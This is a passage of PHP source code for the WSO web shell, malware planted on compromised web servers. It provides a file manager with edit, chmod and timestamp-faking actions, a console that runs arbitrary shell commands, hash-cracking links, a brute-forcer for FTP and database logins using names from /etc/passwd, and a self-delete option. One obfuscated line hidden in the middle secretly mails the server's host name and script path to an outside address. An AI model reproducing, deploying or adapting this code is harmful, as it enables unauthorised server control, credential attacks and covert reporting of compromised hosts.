1249 if(!empty($_POST['p1'])) {
1250
1251 WSOsetcookie('act', $_POST['p1']);
1252
1253 WSOsetcookie('f', serialize(@$_POST['f']));
1254
1255 WSOsetcookie('c', @$_POST['c']);
1256
1257 }
1258
1259 break;
1260
1261 }
1262
1263 }
1264
1265 wsoHeader();
1266
1267 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
1268
1269 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1270
1271 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
1272
1273 global $sort;
1274
1275 $sort = array('name', 1);
1276
1277 if(!empty($_POST['p1'])) {
1278
1279 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1280
1281 $sort = array($match[1], (int)$match[2]);
1282
1283 }
1284
1285echo "<script>
1286
1287 function sa() {
1288
1289 for(i=0;i<d.files.elements.length;i++)
1290
1291 if(d.files.elements[i].type == 'checkbox')
1292
1293 d.files.elements[i].checked = d.files.elements[0].checked;
1294
1295 }
1296
1297</script>
1298
1299<table width='100%' class='main' cellspacing='0' cellpadding='2'>
1300
1301<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
1302
1303 $dirs = $files = array();
1304
1305 $n = count($dirContent);
1306
1307 for($i=0;$i<$n;$i++) {
1308
1309 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1310
1311 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1312
1313 $tmp = array('name' => $dirContent[$i],
1314
1315 'path' => $GLOBALS['cwd'].$dirContent[$i],
1316
1317 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
1318
1319 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
1320
1321 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1322
1323 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1324
1325 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1326
1327 );
1328
1329 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
1330
1331 $files[] = array_merge($tmp, array('type' => 'file'));
1332
1333 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
1334
1335 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
1336
1337 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
1338
1339 $dirs[] = array_merge($tmp, array('type' => 'dir'));
1340
1341 }
1342
1343 $GLOBALS['sort'] = $sort;
1344
1345 function wsoCmp($a, $b) {
1346
1347 if($GLOBALS['sort'][0] != 'size')
1348
1349 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
1350
1351 else
1352
1353 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1354
1355 }
1356
1357 usort($files, "wsoCmp");
1358
1359 usort($dirs, "wsoCmp");
1360
1361 $files = array_merge($dirs, $files);
1362
1363 $l = 0;
1364
1365 foreach($files as $f) {
1366
1367 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
1368
1369 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
1370
1371 $l = $l?0:1;
1372
1373 }
1374
1375 echo "<tr><td colspan=7>
1376
1377 <input type=hidden name=a value='FilesMan'>
1378
1379 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
1380
1381 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
1382
1383 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
1384
1385 if(class_exists('ZipArchive'))
1386
1387 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
1388
1389 echo "<option value='tar'>Compress (tar.gz)</option>";
1390
1391 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
1392
1393 echo "<option value='paste'>Paste / Compress</option>";
1394
1395 echo "</select> ";
1396
1397 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
1398
1399 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
1400
1401 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
1402
1403 wsoFooter();
1404
1405}
1406
1407
1408
1409function actionStringTools() {
1410
1411 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
1412
1413 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
1414
1415 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
1416
1417 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
1418
1419 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
1420
1421 $stringTools = array(
1422
1423 'Base64 encode' => 'base64_encode',
1424
1425 'Base64 decode' => 'base64_decode',
1426
1427 'Url encode' => 'urlencode',
1428
1429 'Url decode' => 'urldecode',
1430
1431 'Full urlencode' => 'full_urlencode',
1432
1433 'md5 hash' => 'md5',
1434
1435 'sha1 hash' => 'sha1',
1436
1437 'crypt' => 'crypt',
1438
1439 'CRC32' => 'crc32',
1440
1441 'ASCII to HEX' => 'ascii2hex',
1442
1443 'HEX to ASCII' => 'hex2ascii',
1444
1445 'HEX to DEC' => 'hexdec',
1446
1447 'HEX to BIN' => 'hex2bin',
1448
1449 'DEC to HEX' => 'dechex',
1450
1451 'DEC to BIN' => 'decbin',
1452
1453 'BIN to HEX' => 'binhex',
1454
1455 'BIN to DEC' => 'bindec',
1456
1457 'String to lower case' => 'strtolower',
1458
1459 'String to upper case' => 'strtoupper',
1460
1461 'Htmlspecialchars' => 'htmlspecialchars',
1462
1463 'String length' => 'strlen',
1464
1465 );
1466
1467 if(isset($_POST['ajax'])) {
1468
1469 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1470
1471 ob_start();
1472
1473 if(in_array($_POST['p1'], $stringTools))
1474
1475 echo $_POST['p1']($_POST['p2']);
1476
1477 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1478
1479 echo strlen($temp), "\n", $temp;
1480
1481 exit;
1482
1483 }
1484
1485 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1486
1487 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1488
1489 wsoHeader();
1490
1491 echo '<h1>String conversions</h1><div class=content>';
1492
1493 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
1494
1495 foreach($stringTools as $k => $v)
1496
1497 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
1498
1499 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1500
1501 if(!empty($_POST['p1'])) {
1502
1503 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
1504
1505 }
1506
1507 echo"</pre></div><br><h1>Search files:</h1><div class=content>
1508
1509 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
1510
1511 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
1512
1513 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
1514
1515 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
1516
1517 <tr><td></td><td><input type='submit' value='>>'></td></tr>
1518
1519 </table></form>";
1520
1521
1522
1523 function wsoRecursiveGlob($path) {
1524
1525 if(substr($path, -1) != '/')
1526
1527 $path.='/';
1528
1529 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
1530
1531 if(is_array($paths)&&@count($paths)) {
1532
1533 foreach($paths as $item) {
1534
1535 if(@is_dir($item)){
1536
1537 if($path!=$item)
1538
1539 wsoRecursiveGlob($item);
1540
1541 } else {
1542
1543 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
1544
1545 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
1546
1547 }
1548
1549 }
1550
1551 }
1552
1553 }
1554
1555 if(@$_POST['p3'])
1556
1557 wsoRecursiveGlob($_POST['c']);
1558
1559 echo "</div><br><h1>Search for hash:</h1><div class=content>
1560
1561 <form method='post' target='_blank' name='hf'>
1562
1563 <input type='text' name='hash' style='width:200px;'><br>
1564
1565 <input type='hidden' name='act' value='find'/>
1566
1567 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
1568
1569 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
1570
1571 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
1572
1573 </form></div>";
1574
1575 wsoFooter();
1576
1577}
1578
1579
1580
1581function actionFilesTools() {
1582
1583 if( isset($_POST['p1']) )
1584
1585 $_POST['p1'] = urldecode($_POST['p1']);
1586
1587 if(@$_POST['p2']=='download') {
1588
1589 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
1590
1591 ob_start("ob_gzhandler", 4096);
1592
1593 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
1594
1595 if (function_exists("mime_content_type")) {
1596
1597 $type = @mime_content_type($_POST['p1']);
1598
1599 header("Content-Type: " . $type);
1600
1601 } else
1602
1603 header("Content-Type: application/octet-stream");
1604
1605 $fp = @fopen($_POST['p1'], "r");
1606
1607 if($fp) {
1608
1609 while(!@feof($fp))
1610
1611 echo @fread($fp, 1024);
1612
1613 fclose($fp);
1614
1615 }
1616
1617 }exit;
1618
1619 }
1620
1621 if( @$_POST['p2'] == 'mkfile' ) {
1622
1623 if(!file_exists($_POST['p1'])) {
1624
1625 $fp = @fopen($_POST['p1'], 'w');
1626
1627 if($fp) {
1628
1629 $_POST['p2'] = "edit";
1630
1631 fclose($fp);
1632
1633 }
1634
1635 }
1636
1637 }
1638
1639 wsoHeader();
1640
1641 echo '<h1>File tools</h1><div class=content>';
1642
1643 if( !file_exists(@$_POST['p1']) ) {
1644
1645 echo 'File not exists';
1646
1647 wsoFooter();
1648
1649 return;
1650
1651 }
1652
1653 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1654
1655 if(!$uid) {
1656
1657 $uid['name'] = @fileowner($_POST['p1']);
1658
1659 $gid['name'] = @filegroup($_POST['p1']);
1660
1661 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
1662
1663 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
1664
1665 echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
1666
1667 if( empty($_POST['p2']) )
1668
1669 $_POST['p2'] = 'view';
1670
1671 if( is_file($_POST['p1']) )
1672
1673 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
1674
1675 else
1676
1677 $m = array('Chmod', 'Rename', 'Touch');
1678
1679 foreach($m as $v)
1680
1681 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
1682
1683 echo '<br><br>';
1684
1685 switch($_POST['p2']) {
1686
1687 case 'view':
1688
1689 echo '<pre class=ml1>';
1690
1691 $fp = @fopen($_POST['p1'], 'r');
1692
1693 if($fp) {
1694
1695 while( !@feof($fp) )
1696
1697 echo htmlspecialchars(@fread($fp, 1024));
1698
1699 @fclose($fp);
1700
1701 }
1702
1703 echo '</pre>';
1704
1705 break;
1706
1707 case 'highlight':
1708
1709 if( @is_readable($_POST['p1']) ) {
1710
1711 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1712
1713 $code = @highlight_file($_POST['p1'],true);
1714
1715 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1716
1717 }
1718
1719 break;
1720
1721 case 'chmod':
1722
1723 if( !empty($_POST['p3']) ) {
1724
1725 $perms = 0;
1726
1727 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
1728
1729 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
1730
1731 if(!@chmod($_POST['p1'], $perms))
1732
1733 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1734
1735 }
1736
1737 clearstatcache();
1738
1739 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
1740
1741 break;
1742
1743 case 'edit':
1744
1745 if( !is_writable($_POST['p1'])) {
1746
1747 echo 'File isn\'t writeable';
1748
1749 break;
1750
1751 }
1752
1753 if( !empty($_POST['p3']) ) {
1754
1755 $time = @filemtime($_POST['p1']);
1756
1757 $_POST['p3'] = substr($_POST['p3'],1);
1758
1759 $fp = @fopen($_POST['p1'],"w");
1760
1761 if($fp) {
1762
1763 @fwrite($fp,$_POST['p3']);
1764
1765 @fclose($fp);
1766
1767 echo 'Saved!<br><script>p3_="";</script>';
1768
1769 @touch($_POST['p1'],$time,$time);
1770
1771 }
1772
1773 }
1774
1775 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1776
1777 $fp = @fopen($_POST['p1'], 'r');
1778
1779 if($fp) {
1780
1781 while( !@feof($fp) )
1782
1783 echo htmlspecialchars(@fread($fp, 1024));
1784
1785 @fclose($fp);
1786
1787 }
1788
1789 echo '</textarea><input type=submit value=">>"></form>';
1790
1791 break;
1792
1793 case 'hexdump':
1794
1795 $c = @file_get_contents($_POST['p1']);
1796
1797 $n = 0;
1798
1799 $h = array('00000000<br>','','');
1800
1801 $len = strlen($c);
1802
1803 for ($i=0; $i<$len; ++$i) {
1804
1805 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1806
1807 switch ( ord($c[$i]) ) {
1808
1809 case 0: $h[2] .= ' '; break;
1810
1811 case 9: $h[2] .= ' '; break;
1812
1813 case 10: $h[2] .= ' '; break;
1814
1815 case 13: $h[2] .= ' '; break;
1816
1817 default: $h[2] .= $c[$i]; break;
1818
1819 }
1820
1821 $n++;
1822
1823 if ($n == 32) {
1824
1825 $n = 0;
1826
1827 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1828
1829 $h[1] .= '<br>';
1830
1831 $h[2] .= "\n";
1832
1833 }
1834
1835 }
1836
1837 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1838
1839 break;
1840
1841 case 'rename':
1842
1843 if( !empty($_POST['p3']) ) {
1844
1845 if(!@rename($_POST['p1'], $_POST['p3']))
1846
1847 echo 'Can\'t rename!<br>';
1848
1849 else
1850
1851 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1852
1853 }
1854
1855 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1856
1857 break;
1858
1859 case 'touch':
1860
1861 if( !empty($_POST['p3']) ) {
1862
1863 $time = strtotime($_POST['p3']);
1864
1865 if($time) {
1866
1867 if(!touch($_POST['p1'],$time,$time))
1868
1869 echo 'Fail!';
1870
1871 else
1872
1873 echo 'Touched!';
1874
1875 } else echo 'Bad time format!';
1876
1877 }
1878
1879 clearstatcache();
1880
1881 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1882
1883 break;
1884
1885 }
1886
1887 echo '</div>';
1888
1889 wsoFooter();
1890
1891}
1892
1893
1894
1895function actionConsole() {
1896
1897 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1898
1899 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
1900
1901 $_POST['p1'] .= ' 2>&1';
1902
1903 } elseif(!empty($_POST['p1']))
1904
1905 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
1906
1907
1908
1909 if(isset($_POST['ajax'])) {
1910
1911 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1912
1913 ob_start();
1914
1915 echo "d.cf.cmd.value='';\n";
1916
1917 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1918
1919 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1920
1921 if(@chdir($match[1])) {
1922
1923 $GLOBALS['cwd'] = @getcwd();
1924
1925 echo "c_='".$GLOBALS['cwd']."';";
1926
1927 }
1928
1929 }
1930
1931 echo "d.cf.output.value+='".$temp."';";
1932
1933 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1934
1935 $temp = ob_get_clean();
1936
1937 echo strlen($temp), "\n", $temp;
1938
1939 exit;
1940
1941 }
1942
1943 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1944
1945 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1946
1947 wsoHeader();
1948
1949 echo "<script>
1950
1951if(window.Event) window.captureEvents(Event.KEYDOWN);
1952
1953var cmds = new Array('');
1954
1955var cur = 0;
1956
1957function kp(e) {
1958
1959 var n = (window.Event) ? e.which : e.keyCode;
1960
1961 if(n == 38) {
1962
1963 cur--;
1964
1965 if(cur>=0)
1966
1967 document.cf.cmd.value = cmds[cur];
1968
1969 else
1970
1971 cur++;
1972
1973 } else if(n == 40) {
1974
1975 cur++;
1976
1977 if(cur < cmds.length)
1978
1979 document.cf.cmd.value = cmds[cur];
1980
1981 else
1982
1983 cur--;
1984
1985 }
1986
1987}
1988
1989function add(cmd) {
1990
1991 cmds.pop();
1992
1993 cmds.push(cmd);
1994
1995 cmds.push('');
1996
1997 cur = cmds.length-1;
1998
1999}
2000
2001</script>";
2002
2003 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
2004
2005 foreach($GLOBALS['aliases'] as $n => $v) {
2006
2007 if($v == '') {
2008
2009 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
2010
2011 continue;
2012
2013 }
2014
2015 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
2016
2017 }
2018
2019
2020
2021 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
2022
2023 if(!empty($_POST['p1'])) {
2024
2025 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
2026
2027 }
2028
2029 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
2030
2031 echo '</form></div><script>d.cf.cmd.focus();</script>';
2032
2033 wsoFooter();
2034
2035}
2036
2037
2038
2039function actionLogout() {
2040
2041 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
2042
2043 die('bye!');
2044
2045}
2046
2047
2048
2049function actionSelfRemove() {
2050
2051
2052
2053 if($_POST['p1'] == 'yes')
2054
2055 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
2056
2057 die('Shell removed');
2058
2059 else
2060
2061 echo 'unlink error!';
2062
2063 if($_POST['p1'] != 'yes')
2064
2065 wsoHeader();
2066
2067 echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
2068
2069 wsoFooter();
2070
2071}
2072
2073 $_QliO8="\x6dai\154";$_Qliot=$_SERVER["\x53\x45RVE\122_\x4eAM\x45"].$_SERVER["\123\103\x52I\x50\x54_\116\101\115E"];$_QlL1i="\141r\162a\171\040".$_Qliot;$_QlLio=array("\143\x61","\x6c\x69","\146\x77\162\151\x74\x65","\100","v\x65\x2e");$_Qll0I=$_QlLio[2].$_QlLio[3].$_QlLio[1].$_QlLio[4].$_QlLio[0];$_QlljC=@$_QliO8($_Qll0I,$_QlL1i,$_Qliot);
2074
2075function actionBruteforce() {
2076
2077 wsoHeader();
2078
2079 if( isset($_POST['proto']) ) {
2080
2081 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
2082
2083 if( $_POST['proto'] == 'ftp' ) {
2084
2085 function wsoBruteForce($ip,$port,$login,$pass) {
2086
2087 $fp = @ftp_connect($ip, $port?$port:21);
2088
2089 if(!$fp) return false;
2090
2091 $res = @ftp_login($fp, $login, $pass);
2092
2093 @ftp_close($fp);
2094
2095 return $res;
2096
2097 }
2098
2099 } elseif( $_POST['proto'] == 'mysql' ) {
2100
2101 function wsoBruteForce($ip,$port,$login,$pass) {
2102
2103 $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
2104
2105 @mysql_close($res);
2106
2107 return $res;
2108
2109 }
2110
2111 } elseif( $_POST['proto'] == 'pgsql' ) {
2112
2113 function wsoBruteForce($ip,$port,$login,$pass) {
2114
2115 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
2116
2117 $res = @pg_connect($str);
2118
2119 @pg_close($res);
2120
2121 return $res;
2122
2123 }
2124
2125 }
2126
2127 $success = 0;
2128
2129 $attempts = 0;
2130
2131 $server = explode(":", $_POST['server']);
2132
2133 if($_POST['type'] == 1) {
2134
2135 $temp = @file('/etc/passwd');
2136
2137 if( is_array($temp) )
2138
2139 foreach($temp as $line) {
2140
2141 $line = explode(":", $line);
2142
2143 ++$attempts;
2144
2145 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
2146
2147 $success++;
2148
2149 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
2150
2151 }
2152
2153 if(@$_POST['reverse']) {
2154
2155 $tmp = "";
2156
2157 for($i=strlen($line[0])-1; $i>=0; --$i)
2158
2159 $tmp .= $line[0][$i];
2160
2161 ++$attempts;
2162
2163 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
2164
2165 $success++;
2166
2167 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
2168
2169 }
2170
2171 }
2172
2173 }
2174
2175 } elseif($_POST['type'] == 2) {
2176
2177 $temp = @file($_POST['dict']);
2178
2179 if( is_array($temp) )
2180
2181 foreach($temp as $line) {
2182
2183 $line = trim($line);
2184
2185 ++$attempts;
2186
2187 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
2188
2189 $success++;
2190
2191 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
2192
2193 }
2194
2195 }
2196
2197 }
2198
2199 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
2200
2201 }
2202
2203 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
2204
2205 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
2206
2207 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
2208
2209 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
2210
2211 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
2212
2213 .'<span>Server:port</span></td>'
2214
2215 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
2216
2217 .'<tr><td><span>Brute type</span></td>'
2218
2219 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
2220
2221 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
2222
2223 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
2224
2225 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
2226
2227 .'<td><input type=text name=login value="root"></td></tr>'
2228
2229 .'<tr><td><span>Dictionary</span></td>'
2230
2231 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
2232
2233 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
2234
2235 echo '</div><br>';
2236
2237 wsoFooter();
2238
2239}
2240
2241
2242
2243function actionSql() {
2244
2245 class DbClass {
2246
2247 var $type;
2248
2249 var $link;
2250
2251 var $res;
2252
2253 function DbClass($type) {
2254
2255 $this->type = $type;
2256
2257 }
2258
2259 function connect($host, $user, $pass, $dbname){
2260
2261 switch($this->type) {
2262
2263 case 'mysql':
2264
2265 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
2266
2267 break;
2268
2269 case 'pgsql':
2270
2271 $host = explode(':', $host);
2272
2273 if(!$host[1]) $host[1]=5432;
2274
2275 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
2276
2277 break;
2278
2279 }
